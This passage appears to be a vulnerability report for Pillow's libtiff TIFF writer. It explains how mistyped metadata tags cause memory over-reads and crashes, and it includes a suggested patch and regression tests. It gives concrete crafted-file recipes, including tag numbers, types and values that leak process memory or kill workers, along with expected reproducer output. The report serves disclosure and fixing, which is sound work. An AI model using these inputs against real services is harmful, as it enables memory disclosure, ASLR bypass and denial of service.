`TIFFWriteDirectory` writes the copied bytes into the\noutput file as the tag's value. For fixed-count array fields (`passcount=0`,\n`writecount=4` for ActiveArea) there is no count argument, so the attacker's\nscalar is consumed as the `void *` source and 16 bytes are read from address\n64 → SIGSEGV.\n\nTags in libtiff 4.5's built-in table that Pillow forwards untyped and that take\nthe `(count, pointer)` form include DNGPrivateData 50740, CFAPattern 33422,\nCFAPlaneColor 50710, LinearizationTable 50712, BlackLevel 50714, WhiteLevel\n50717, ColorMatrix1/2 50721/50722, AsShotNeutral 50728, OriginalRawFileName/Data\n50827/50828, AsShotICCProfile 50831, CurrentICCProfile 50833. Fixed-count ones\n(pointer only → crash) include ActiveArea 50829, DNGVersion/DNGBackwardVersion\n50706/50707, DefaultScale/DefaultCropOrigin/DefaultCropSize 50718–50720,\nAsShotWhiteXY 50729, CFARepeatPatternDim 33421, BlackLevelRepeatDim 50713,\nImageLayer 34732, RawDataUniqueID 50781.\n\nWhen the application saves with `tiffinfo=im.tag_v2` (the documented way to\npreserve metadata), the file-declared type is honoured, and a `LONG8` entry\nreaches the `(uint64_t)PyLong_AsLongLong(value)` branch at\n`src/encode.c:1049-1052`. For ActiveArea that is a 16-byte read from a full\n64-bit attacker-chosen address into the output: a source entry\n`50829 / LONG8 / 1 / \u003caddress of a Python bytes object\u003e` produced an output\nActiveArea of `(b'SECR', b'ET-T', b'OKEN', b'-012')` in testing.\n\nThe comment above `blocklist +=` at `TiffImagePlugin.py:1938-1944` already notes\nthat array tags with the wrong length \"will result in segfaults\"; the blocklist\ncovers only a handful of tags Pillow itself knows, not the ones libtiff knows and\nPillow does not. Forwarding of these tags was introduced in `a3d45e9cefd0`\n(\"Added custom int and float TIFF tags\", 2018-10-25), first released in 5.4.0;\nreleases 2.0.0–3.0.0 forwarded them as scalars too, until `9fa6634f4`\n(\"Partial fix for #1597\") limited `_save` to `LIBTIFF_CORE`.\n\n### Other branches with the same defect\n\nThe scalar-integer branch above is one of several places in the same loop\nwhere the call shape is derived from the Python value rather than from\nlibtiff's definition. All of the following were confirmed on this commit (stock\nbuild crashes and/or ASan reports, stack always `memcpy ← libtiff ←\nImagingLibTiffSetField src/libImaging/TiffDecode.c:934 ←\nPyImaging_LibTiffEncoderNew`), and all are reachable from a sub-1 KB crafted\nfile followed by an ordinary `save()`:\n\n* **Typed tuple → `(len, av)` for a fixed-count built-in field**\n  (`src/encode.c:904-994`, the SHORT/LONG/SBYTE/SSHORT/SLONG/FLOAT/DOUBLE\n  tuple branches all call `ImagingLibTiffSetField(..., len, av)`). For libtiff\n  built-in fields with `passcount=0` and a fixed `writecount` —\n  `CFARepeatPatternDim` 33421 (SHORT×2), `BlackLevelRepeatDim` 50713\n  (SHORT×2), `ImageLayer` 34732 (LONG×2), `ActiveArea` 50829 (LONG×4),\n  `MatrixWorldToScreen/Camera` 33305/33306 (FLOAT×16) — libtiff takes the\n  *first* vararg as the source pointer, so the tuple length becomes the\n  `memcpy` source address. A perfectly well-formed 206-byte 8×8 PackBits TIFF\n  carrying `33421 / SHORT / 2 / (2, 2)` re-saved with a bare\n  `im.save(out, \"TIFF\")` dies with SIGSEGV in `memcpy` (gdb: `rsi = 0x2`, the\n  tuple length) on every run; so does\n  `Image.new(\"L\", (8, 8)).save(buf, \"TIFF\", compression=\"packbits\",\n  tiffinfo={33421: (2, 2)})`, and a JPEG whose EXIF carries the tag saved with\n  `exif=im.getexif()` into a compressed TIFF. `bytes` values for built-in\n  fixed-count BYTE tags (e.g. `DNGVersion` 50706, BYTE×4) crash the same way\n  through the `(PyBytes_Size, PyBytes_AsString)` call at `src/encode.c:860-865`.\n  The mirror image for `passcount=1` fields: `Photoshop` 34377 declared\n  SHORT, count 1, value 60000 takes the scalar branch at `:1009-1012`, libtiff\n  reads 60000 as the count and an unpassed vararg as the pointer, and the\n  re-save *succeeds* with a 60162-byte output whose tag 34377 holds 60000 bytes\n  of process memory (here C prototype strings from `_imaging.so`'s `.rodata`).\n* **`bytes` value → single `char *`** (`src/encode.c:805-815` autodetects\n  `bytes` as `TIFF_ASCII`; `:1033-1042` passes `PyBytes_AsString(value)` alone).\n  `ImageFileDirectory_v2._setitem` stores a BYTE-typed entry as bare `bytes`\n  and an ASCII-typed one as `str` (encoded to `bytes` by `_save`), so the\n  file's declared type selects this branch.\n  - `ColorMap` (320) declared BYTE with 4 bytes of data in a non-palette\n    PackBits TIFF: 320 is in `core_tags[]`, no type is consulted, the value\n    skips the 768-tuple `TIFFTAG_COLORMAP` branch (`:871-895`) and libtiff reads\n    three `uint16_t *` and copies `1 \u003c\u003c BitsPerSample` shorts from each — a\n    512-byte over-read of the 5-byte Python bytes buffer, then dereference of\n    two stale argument registers → SIGSEGV on every run of\n    `Image.open(f); im.save(out, \"TIFF\")`. `COLORMAP` is not in `_save`'s\n    `blocklist`.\n  - `Photoshop` (34377) declared ASCII: `_save` copies value *and* type\n    (`TiffImagePlugin.py:1802-1818`; only `IPTC_NAA_CHUNK` has a BYTE/UNDEFINED\n    type guard there, from commit 2245df0a — `PHOTOSHOP_CHUNK` and `XMP` do\n    not). libtiff's definition is BYTE, `passcount=1`, so the low 32 bits of\n    the `char *` become the byte count for a `memcpy` from a stale register\n    (ASan: `READ of size 3518384`; stock: SIGSEGV in about half of runs,\n    otherwise `RuntimeError`). `ICCProfile` (34675) declared ASCII behaves the\n    same way via `im.info[\"icc_profile\"]` → `ifd[ICCPROFILE]`\n    (`TiffImagePlugin.py:1822-1824`).\n* **`TIFF_RATIONAL` tuple → array with no count** (`src/encode.c:995-1006`;\n  compare the `TIFF_FLOAT` branch at `:969-981`, which passes `len, av`).\n  - For a private tag (e.g. 50000) Pillow itself registers the field with\n    `passcount=1` (`TiffDecode.c:904-908`), so libtiff takes the low 32 bits of\n    `av` as the element count and the next stale vararg as the source:\n    `heap-buffer-overflow READ of size 119872 … right of 8-byte region` under\n    ASan (`119872 == 4 * low32(av)`), SIGSEGV in ~4 of 5 stock runs. Reached by\n    a JPEG whose EXIF carries one private RATIONAL×2 tag saved with\n    `im.save(out, \"TIFF\", compression=\"tiff_lzw\", exif=im.info[\"exif\"])`, or a\n    TIFF re-saved with `tiffinfo=im.tag_v2` (`_setitem` auto-types a tuple of\n    `IFDRational` as RATIONAL, `TiffImagePlugin.py:689-701`; `types[tag] =\n    ifd.tagtype[tag]` at `:1968`).\n  - For libtiff's built-in fixed-count float tags `WhitePoint` (318, 2),\n    `PrimaryChromaticities` (319, 6) and `YCbCrCoefficients` (529, 3), which\n    `_save` forwards from any source TIFF and types RATIONAL via\n    `TiffTags.lookup`, the pointer-only convention happens to match, but\n    libtiff copies its *fixed* count from an array that is only as long as the\n    file declared: a PackBits TIFF with `PrimaryChromaticities` count 1 and a\n    bare `im.save(out, \"TIFF\")` gives `READ of size 24 … right of 4-byte\n    region`, and the over-read floats are written to tag 319 of the output.\n    `REFERENCEBLACKWHITE`/`TRANSFERFUNCTION` are blocklisted at\n    `TiffImagePlugin.py:1941-1952` for exactly this reason; 318/319/529 are not.\n* **Core tag reached as a scalar via a stale file-supplied type.** With the\n  re-save idiom `im.save(out, \"TIFF\", tiffinfo=im.tag_v2)`, `_save` copies\n  `ifd.tagtype[key] = info.tagtype[key]` for every key\n  (`TiffImagePlugin.py:1768-1776`) and later assigns its own values to some of\n  the same tags without resetting the type (`ifd[COLORMAP] = colormap` at\n  `:1870-1877`; likewise BitsPerSample, SamplesPerPixel, ExtraSamples,\n  ICCProfile, …). For a 418-byte PackBits *palette* TIFF whose ColorMap entry\n  is declared BYTE, `_setitem` (`:751-770`) truncates `_save`'s 768-entry\n  palette to a single `int` (with only a \"too many entries\" warning), the\n  encoder receives `(320, 0)`, autodetects `TIFF_LONG`, and\n  `src/encode.c:1013-1016` calls `TIFFSetField(TIFFTAG_COLORMAP, (UINT32)0)` —\n  libtiff reads three `uint16_t *` and faults at an address ≤ 65280 on every\n  run. The stale-tagtype copy is a Python-side hygiene bug in its own right,\n  but its memory-safety consequence exists only because the encoder lets a\n  non-tuple value reach `TIFFSetField(COLORMAP)`.\n\n## Impact\n\nAny service that accepts a TIFF and writes it back out as TIFF through libtiff —\nwhich happens with a plain `im.save(fp, \"TIFF\")` whenever the uploaded file is\ncompressed, or whenever a `compression=` other than raw is requested — returns\nto the uploader, inside one metadata tag of the produced file, an\nattacker-chosen number of bytes read from a stale pointer in the worker process,\ndeterministically and without retries. Which memory that is depends on the\ncompiler's register allocation for `PyImaging_LibTiffEncoderNew`: in this clang\nbuild the pointer is `_imaging.so + 0x1588`, so a request for 262 144 bytes\n(which succeeded every time in testing, as did 2 000 000) covers the\nextension's `.rodata`, `.data.rel.ro`/GOT and `.data` and returned 2 800+\nresolved pointers into libpython, libc, libtiff, libjpeg and others — a complete\nASLR bypass for chaining with any other memory bug; a gcc build of the same\nsource left a different, unrelated address in that slot. The fixed-count\nvariant kills the worker process with SIGSEGV from a 181-byte upload on every\nrequest. With `tiffinfo=im.tag_v2` the source\naddress is fully attacker-chosen (16-byte arbitrary read into the output for\nActiveArea, or a crash). No non-default Pillow setting is involved; the only\nprecondition is TIFF-to-TIFF re-encoding.\n\nThe other branches add further deterministic process-kill inputs (BYTE-typed\nColorMap in any RGB or palette TIFF; `thumbnail()` keeps `tag_v2`, so\nopen→thumbnail→save-as-TIFF is affected too) and extend the reach to\nJPEG/PNG/WebP uploads whose EXIF is preserved with `exif=` when converting to\nlibtiff-compressed TIFF. All the memory errors are reads; libtiff sizes its\ndestination buffers with the same count it copies, so no out-of-bounds write\nwas found.\n\n## Reproducing\n\n`repro` is one Python script, run against the stock build with the installed `PIL`. It needs no compiler and no extra files.\n\n`upload(tag, value)` has Pillow write a 16×16 red RGB image as an LZW-compressed TIFF, then appends a new IFD holding the same entries plus one extra `\u003ctag\u003e / LONG / count 1 / value` (kept in tag order) and points the header at it — a 356-byte input on this tree. The source is LZW-compressed on purpose. A bare `im.save(out, \"TIFF\")` keeps the source's compression, so the save goes through the libtiff writer even though the application passes no arguments. `resave()` is the whole \"application\": `Image.open(BytesIO(src)); im.save(out, \"TIFF\")`.\n\nThe script runs three cases:\n\n1. **Control, tag 65000 = 4096.** libtiff does not know this tag, so the file is re-saved correctly and the output tag reads back as the integer `4096`. This is what should happen to every tag.\n2. **Leak, DNGPrivateData 50740 = 65536.** libtiff's built-in definition of this tag is a counted BYTE array. It reads Pillow's single scalar as the *count* and takes the data pointer from a vararg slot Pillow never wrote. The output tag comes back as `bytes` of length 65536 that do not occur in the input. The script prints the first 32 of them and the file offset at which they occur in `_imaging.so` on disk. On this build they always do (offset `0x57588`): the stale pointer aims into the extension's read-only data.\n3. **Wild read, ActiveArea 50829 = 64.** libtiff defines this tag as a fixed LONG[4] array with no count, so it uses the scalar 64 as the *source address*. The script re-runs itself as a child process (`repro child`, core dumps disabled) to do this re-save, and the child exits with `-11`, meaning SIGSEGV.\n\nExpected output on the affected tree:\n\n```\ncontrol  tag 65000=4096 -\u003e 4096\nleak     tag 50740=65536 from a 356-byte upload -\u003e 65536 bytes not present in input, head a661fcffc661fcff3360fcff7b61fcffd361fcff085ffcffe061fcff3360fcff\n         leaked bytes found in _imaging.so at file offset 0x57588\ncrash    tag 50829=64 -\u003e child exit -11 (SIGSEGV)\nBUG\n```\n\nThe script prints `BUG` if case 2 leaks or case 3 crashes. Both are deterministic on this build. A fixed Pillow prints `OK`: the tag does not come back as 65536 bytes of foreign data (it reads back as `None`, or `save()` raises `ValueError`/`RuntimeError`, which the script catches), and the child exits with something other than SIGSEGV (0, or 1 if `save()` raised).\n\nThe other branches can be checked by hand on the stock build in the same way\n(each as `Image.open(f); im.save(BytesIO(), \"TIFF\")` in a child process):\na PackBits RGB TIFF with an extra IFD entry `320 / BYTE / 4 / \"ABCD\"` →\nSIGSEGV every run; a PackBits palette TIFF whose ColorMap is `320 / BYTE / 2`\nsaved with `tiffinfo=im.tag_v2` → SIGSEGV every run; a Pillow-written JPEG\nwhose EXIF holds tag 50000 = RATIONAL×2 saved with\n`compression=\"tiff_lzw\", exif=im.info[\"exif\"]` → SIGSEGV in most runs,\n`RuntimeError` (\"Failed to allocate memory for custom tag binary object\n(-N elements of 4 bytes each)\") in the rest.\n\n## Suggested fix\n\nThe encoder must not guess the calling convention; it has to ask libtiff what\nthe tag's effective definition is *after* `ImagingLibTiffMergeFieldInfo` and\nmarshal accordingly, or refuse. The attached patch does this for non-core tags:\n\n* a new `ImagingLibTiffFindField()` in `src/libImaging/TiffDecode.c` (declared\n  in `TiffDecode.h`, next to the other libtiff wrappers) returns libtiff's\n  `TIFFFindField` type, `passcount` and `writecount` for a tag;\n* in `PyImaging_LibTiffEncoderNew` (`src/encode.c`), for a non-core tag that\n  libtiff already knows, Pillow adopts libtiff's type when it has none of its\n  own, and after `ImagingLibTiffMergeFieldInfo` a new `tiff_field_matches()`\n  checks the value against libtiff's definition: a scalar only for a\n  single-value field whose C argument type (int / `uint64_t` / double /\n  `char *`) matches, an array only with libtiff's element size and, for\n  fixed-count fields, exactly `writecount` elements. Anything else raises\n  `ValueError(\"Tag value does not match libtiff field definition\")` instead of\n  reaching `TIFFSetField` — this covers the reproducer's DNGPrivateData and\n  ActiveArea inputs, ASCII-typed Photoshop, short PrimaryChromaticities and the\n  `LONG8` `tiffinfo=` variant;\n* every tuple/`bytes` branch now goes through `set_tiff_array_field()`, which\n  passes `len` only when the field has `passcount` set; this also fixes the\n  `TIFF_RATIONAL` branch, which never passed a count (and extends it to\n  `TIFF_SRATIONAL`);\n* `TIFF_UNDEFINED` fields are registered as variable-length, matching how their\n  `bytes` values are passed;\n* `Tests/test_file_libtiff.py` gains a regression test (scalar DNGPrivateData,\n  scalar and 2-tuple ActiveArea rejected; well-formed values round-trip).\n\nCore tags and tags libtiff does not know keep their current behaviour. With the\npatch applied to a clean checkout and rebuilt, the reproducer no longer\ntriggers and the test suite passes. It is not a complete fix, however: the\nwhole check sits inside `if (!is_core_tag)`, so the BYTE-typed ColorMap variant\nstays open. The PackBits RGB TIFF carrying `320 / BYTE / 4`, re-saved with a\nbare `save()`, no longer segfaults at this point but writes 1536 bytes —\nover-read from the 5-byte `bytes` object and two stale varargs, including 22\nlive heap pointers — into the output ColorMap, which is still a disclosure.\nBefore merging, it needs a guard that accepts `TIFFTAG_COLORMAP` only through\nthe existing 768-tuple branch, never through the scalar or `bytes` branches,\nand ideally the same shape check for the other core tags libtiff special-cases\nin `_TIFFVSetField` (YCbCrSubsampling 530, TransferFunction 301,\nReferenceBlackWhite 532).\n\nNarrower Python-side mitigations in `_save` close individual entry points but\nnot the class, and are worth adding alongside the C-side check: drop tags\nwith `TiffTags.lookup(tag).type is None` from `supplied_tags` (closes the `Image.open()→save()` path shown here but not\n`tiffinfo=` callers); remove `COLORMAP` from `supplied_tags` next to\n`EXIFIFD`/`SAMPLEFORMAT` and extend the `IPTC_NAA_CHUNK` BYTE/UNDEFINED type\nguard to `PHOTOSHOP_CHUNK` and `XMP`; add 318/319/529 to the blocklist next to\n`REFERENCEBLACKWHITE`; and have `_save` `ifd.tagtype.pop(tag, None)` before\nassigning its own ColorMap/BitsPerSample/ICCProfile/… values so a\n`tiffinfo=`-imported type cannot reshape them. The C-side check is the fix to\nrely on.\n\n## The patch\n\nPass TIFF tag values to libtiff according to its own field definition, and raise ValueError when they do not fit\n\nApplies to `src/encode.c` at the commit above. It passed the mechanical check — applied to a clean tree, rebuilt, the reproducer stopped firing — but a reviewer did not endorse it as the right fix.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..adc4633e4 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -395,6 +395,43 @@ class TestFileLibTiff(LibTiffTestCase):\n         with pytest.raises(ValueError, match=\"Incorrect tag value type\"):\n             im.save(out, tiffinfo=ifd)\n \n+    @pytest.mark.parametrize(\n+        \"tag, value\",\n+        (\n+            # DNGPrivateData is a BYTE array with a count to libtiff\n+            (50740, 4096),\n+            # ActiveArea is a LONG array of four values to libtiff\n+            (50829, 64),\n+            (50829, (0, 0)),\n+        ),\n+    )\n+    def test_libtiff_field_definition(\n+        self, tag: int, value: Any, monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n+    ) -\u003e None:\n+        monkeypatch.setattr(TiffImagePlugin, \"WRITE_LIBTIFF\", True)\n+\n+        ifd = TiffImagePlugin.ImageFileDirectory_v2()\n+        ifd[tag] = value\n+        ifd.tagtype[tag] = TiffTags.LONG\n+\n+        out = tmp_path / \"temp.tif\"\n+        im = Image.new(\"L\", (1, 1))\n+        with pytest.raises(ValueError, match=\"libtiff field definition\"):\n+            im.save(out, tiffinfo=ifd)\n+\n+        # Values that match the libtiff definition are written\n+        ifd = TiffImagePlugin.ImageFileDirectory_v2()\n+        ifd[50740] = b\"private\"\n+        ifd.tagtype[50740] = TiffTags.BYTE\n+        ifd[50829] = (0, 0, 1, 1)\n+        ifd.tagtype[50829] = TiffTags.LONG\n+        im.save(out, tiffinfo=ifd)\n+\n+        with Image.open(out) as reloaded:\n+            assert isinstance(reloaded, TiffImagePlugin.TiffImageFile)\n+            assert reloaded.tag_v2[50740] == b\"private\"\n+            assert reloaded.tag_v2[50829] == (0, 0, 1, 1)\n+\n     def test_inknames_tag(\n         self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n     ) -\u003e None:\ndiff --git a/src/encode.c b/src/encode.c\nindex 9e19e9002..cbbd09f0d 100644\n--- a/src/encode.c\n+++ b/src/encode.c\n@@ -675,6 +675,106 @@ PyImaging_ZipEncoderNew(PyObject *self, PyObject *args) {\n \n #include \u003cstring.h\u003e\n \n+/* C type that TIFFSetField reads from its arguments for a single value of\n+   the given type: int, uint64_t, double or char * */\n+static int\n+tiff_scalar_arg_type(TIFFDataType type) {\n+    switch (type) {\n+        case TIFF_BYTE:\n+        case TIFF_SBYTE:\n+        case TIFF_UNDEFINED:\n+        case TIFF_SHORT:\n+        case TIFF_SSHORT:\n+        case TIFF_LONG:\n+        case TIFF_SLONG:\n+        case TIFF_IFD:\n+            return 1;\n+        case TIFF_LONG8:\n+        case TIFF_SLONG8:\n+        case TIFF_IFD8:\n+            return 2;\n+        case TIFF_FLOAT:\n+        case TIFF_DOUBLE:\n+        case TIFF_RATIONAL:\n+        case TIFF_SRATIONAL:\n+            return 3;\n+        case TIFF_ASCII:\n+            return 4;\n+        default:\n+            return 0;\n+    }\n+}\n+\n+/* Size of the values that TIFFSetField copies from an array of the given\n+   type. libtiff stores custom RATIONAL arrays as floats. */\n+static int\n+tiff_array_item_size(TIFFDataType type) {\n+    switch (type) {\n+        case TIFF_BYTE:\n+        case TIFF_SBYTE:\n+        case TIFF_UNDEFINED:\n+        case TIFF_ASCII:\n+            return 1;\n+        case TIFF_SHORT:\n+        case TIFF_SSHORT:\n+            return 2;\n+        case TIFF_LONG:\n+        case TIFF_SLONG:\n+        case TIFF_IFD:\n+        case TIFF_FLOAT:\n+        case TIFF_RATIONAL:\n+        case TIFF_SRATIONAL:\n+            return 4;\n+        case TIFF_DOUBLE:\n+        case TIFF_LONG8:\n+        case TIFF_SLONG8:\n+        case TIFF_IFD8:\n+            return 8;\n+        default:\n+            return 0;\n+    }\n+}\n+\n+/* Check that a value which will be passed to TIFFSetField as a single value\n+   of the given type, or as an array of len values, matches the definition\n+   of the field that libtiff will use. */\n+static int\n+tiff_field_matches(\n+    TIFFDataType field_type,\n+    int passcount,\n+    int writecount,\n+    TIFFDataType type,\n+    int is_var_length,\n+    Py_ssize_t len\n+) {\n+    if (field_type == TIFF_ASCII \u0026\u0026 !passcount) {\n+        // TIFFSetField reads a null-terminated string\n+        return !is_var_length \u0026\u0026 type == TIFF_ASCII;\n+    }\n+    if (!is_var_length) {\n+        // TIFFSetField reads a single value\n+        return !passcount \u0026\u0026 writecount == 1 \u0026\u0026 tiff_scalar_arg_type(type) \u0026\u0026\n+               tiff_scalar_arg_type(type) == tiff_scalar_arg_type(field_type);\n+    }\n+    // TIFFSetField reads a pointer to the values, preceded by the number of\n+    // values if passcount is set. Otherwise, the number of values is fixed.\n+    if (!tiff_array_item_size(type) ||\n+        tiff_array_item_size(type) != tiff_array_item_size(field_type)) {\n+        return 0;\n+    }\n+    return passcount || (writecount \u003e 1 \u0026\u0026 len == writecount);\n+}\n+\n+static int\n+set_tiff_array_field(\n+    ImagingCodecState state, int key, int passcount, Py_ssize_t len, void *av\n+) {\n+    if (passcount) {\n+        return ImagingLibTiffSetField(state, (ttag_t)key, len, av);\n+    }\n+    return ImagingLibTiffSetField(state, (ttag_t)key, av);\n+}\n+\n PyObject *\n PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n     ImagingEncoderObject *encoder;\n@@ -689,7 +789,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n     PyObject *key, *value;\n     Py_ssize_t pos = 0;\n     int key_int, status, is_core_tag, is_var_length, num_core_tags, i;\n-    TIFFDataType type = TIFF_NOTYPE;\n+    int is_known_tag, passcount, writecount;\n+    TIFFDataType type = TIFF_NOTYPE, field_type;\n     // This list also exists in TiffTags.py\n     const int core_tags[] = {256, 257, 258,   259,   262,   263,   266,  269, 274, 277,\n                              278, 280, 281,   282,   283,   284,   286,  287, 296, 297,\n@@ -777,6 +878,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n         status = 0;\n         is_core_tag = 0;\n         is_var_length = 0;\n+        is_known_tag = 0;\n+        passcount = 1;\n         type = TIFF_NOTYPE;\n \n         for (i = 0; i \u003c num_core_tags; i++) {\n@@ -800,6 +903,15 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n                 }\n                 Py_DECREF(tag_type);\n             }\n+\n+            // libtiff uses its own definition for tags that it already knows,\n+            // rather than the field registered below.\n+            is_known_tag = ImagingLibTiffFindField(\n+                \u0026encoder-\u003estate, key_int, \u0026field_type, \u0026passcount, \u0026writecount\n+            );\n+            if (is_known_tag \u0026\u0026 type == TIFF_NOTYPE) {\n+                type = field_type;\n+            }\n         }\n \n         if (type == TIFF_NOTYPE) {\n@@ -838,7 +950,7 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n \n         if (!is_core_tag) {\n             // Register field for non core tags.\n-            if (type == TIFF_BYTE) {\n+            if (type == TIFF_BYTE || type == TIFF_UNDEFINED) {\n                 is_var_length = 1;\n             }\n             if (ImagingLibTiffMergeFieldInfo(\n@@ -847,6 +959,28 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n                 Py_DECREF(item);\n                 continue;\n             }\n+\n+            if (is_known_tag) {\n+                // Check that the value will be passed to TIFFSetField in the\n+                // form that libtiff's definition of the tag expects.\n+                Py_ssize_t len = 0;\n+                if (PyTuple_Check(value)) {\n+                    len = PyTuple_Size(value);\n+                } else if (PyBytes_Check(value)) {\n+                    len = PyBytes_Size(value);\n+                }\n+                if (!tiff_field_matches(\n+                        field_type, passcount, writecount, type, is_var_length, len\n+                    )) {\n+                    Py_DECREF(encoder);\n+                    Py_DECREF(item);\n+                    PyErr_SetString(\n+                        PyExc_ValueError,\n+                        \"Tag value does not match libtiff field definition\"\n+                    );\n+                    return NULL;\n+                }\n+            }\n         }\n \n         if (type == TIFF_BYTE || type == TIFF_UNDEFINED ||\n@@ -857,9 +991,10 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n                 PyErr_SetString(PyExc_ValueError, \"Incorrect tag value type\");\n                 return NULL;\n             }\n-            status = ImagingLibTiffSetField(\n+            status = set_tiff_array_field(\n                 \u0026encoder-\u003estate,\n-                (ttag_t)key_int,\n+                key_int,\n+                passcount,\n                 PyBytes_Size(value),\n                 PyBytes_AsString(value)\n             );\n@@ -909,8 +1044,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n                     for (i = 0; i \u003c len; i++) {\n                         av[i] = (UINT16)PyLong_AsLong(PyTuple_GetItem(value, i));\n                     }\n-                    status = ImagingLibTiffSetField(\n-                        \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+                    status = set_tiff_array_field(\n+                        \u0026encoder-\u003estate, key_int, passcount, len, av\n                     );\n                     free(av);\n                 }\n@@ -922,8 +1057,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n                     for (i = 0; i \u003c len; i++) {\n                         av[i] = (UINT32)PyLong_AsLong(PyTuple_GetItem(value, i));\n                     }\n-                    status = ImagingLibTiffSetField(\n-                        \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+                    status = set_tiff_array_field(\n+                        \u0026encoder-\u003estate, key_int, passcount, len, av\n                     );\n                     free(av);\n                 }\n@@ -935,8 +1070,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n                     for (i = 0; i \u003c len; i++) {\n                         av[i] = (INT8)PyLong_AsLong(PyTuple_GetItem(value, i));\n                     }\n-                    status = ImagingLibTiffSetField(\n-                        \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+                    status = set_tiff_array_field(\n+                        \u0026encoder-\u003estate, key_int, passcount, len, av\n                     );\n                     free(av);\n                 }\n@@ -948,8 +1083,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n                     for (i = 0; i \u003c len; i++) {\n                         av[i] = (INT16)PyLong_AsLong(PyTuple_GetItem(value, i));\n                     }\n-                    status = ImagingLibTiffSetField(\n-                        \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+                    status = set_tiff_array_field(\n+                        \u0026encoder-\u003estate, key_int, passcount, len, av\n                     );\n                     free(av);\n                 }\n@@ -961,8 +1096,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n                     for (i = 0; i \u003c len; i++) {\n                         av[i] = (INT32)PyLong_AsLong(PyTuple_GetItem(value, i));\n                     }\n-                    status = ImagingLibTiffSetField(\n-                        \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+                    status = set_tiff_array_field(\n+                        \u0026encoder-\u003estate, key_int, passcount, len, av\n                     );\n                     free(av);\n                 }\n@@ -974,8 +1109,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n                     for (i = 0; i \u003c len; i++) {\n                         av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i));\n                     }\n-                    status = ImagingLibTiffSetField(\n-                        \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+                    status = set_tiff_array_field(\n+                        \u0026encoder-\u003estate, key_int, passcount, len, av\n                     );\n                     free(av);\n                 }\n@@ -987,12 +1122,12 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n                     for (i = 0; i \u003c len; i++) {\n                         av[i] = PyFloat_AsDouble(PyTuple_GetItem(value, i));\n                     }\n-                    status = ImagingLibTiffSetField(\n-                        \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+                    status = set_tiff_array_field(\n+                        \u0026encoder-\u003estate, key_int, passcount, len, av\n                     );\n                     free(av);\n                 }\n-            } else if (type == TIFF_RATIONAL) {\n+            } else if (type == TIFF_RATIONAL || type == TIFF_SRATIONAL) {\n                 FLOAT32 *av;\n                 /* malloc check ok, calloc checks for overflow */\n                 av = calloc(len, sizeof(FLOAT32));\n@@ -1000,8 +1135,9 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n                     for (i = 0; i \u003c len; i++) {\n                         av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i));\n                     }\n-                    status =\n-                        ImagingLibTiffSetField(\u0026encoder-\u003estate, (ttag_t)key_int, av);\n+                    status = set_tiff_array_field(\n+                        \u0026encoder-\u003estate, key_int, passcount, len, av\n+                    );\n                     free(av);\n                 }\n             }\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..e14dd50bb 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -923,6 +923,29 @@ ImagingLibTiffMergeFieldInfo(\n     return TIFFMergeFieldInfo(clientstate-\u003etiff, info, n);\n }\n \n+int\n+ImagingLibTiffFindField(\n+    ImagingCodecState state,\n+    int key,\n+    TIFFDataType *field_type,\n+    int *passcount,\n+    int *writecount\n+) {\n+    // Look up libtiff's own definition of a tag. TIFFMergeFieldInfo does not\n+    // replace the definition of a tag that libtiff already knows, so this is\n+    // what TIFFSetField will use for such tags.\n+    TIFFSTATE *clientstate = (TIFFSTATE *)state-\u003econtext;\n+    const TIFFField *fip = TIFFFindField(clientstate-\u003etiff, (ttag_t)key, TIFF_ANY);\n+\n+    if (!fip) {\n+        return 0;\n+    }\n+    *field_type = TIFFFieldDataType(fip);\n+    *passcount = TIFFFieldPassCount(fip);\n+    *writecount = TIFFFieldWriteCount(fip);\n+    return 1;\n+}\n+\n int\n ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...) {\n     // after tif_dir.c-\u003eTIFFSetField.\ndiff --git a/src/libImaging/TiffDecode.h b/src/libImaging/TiffDecode.h\nindex c31d0b9d8..ee1e4a5f9 100644\n--- a/src/libImaging/TiffDecode.h\n+++ b/src/libImaging/TiffDecode.h\n@@ -41,6 +41,14 @@ ImagingLibTiffMergeFieldInfo(\n     ImagingCodecState state, TIFFDataType field_type, int key, int is_var_length\n );\n extern int\n+ImagingLibTiffFindField(\n+    ImagingCodecState state,\n+    int key,\n+    TIFFDataType *field_type,\n+    int *passcount,\n+    int *writecount\n+);\n+extern int\n ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...);\n \n /*\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — 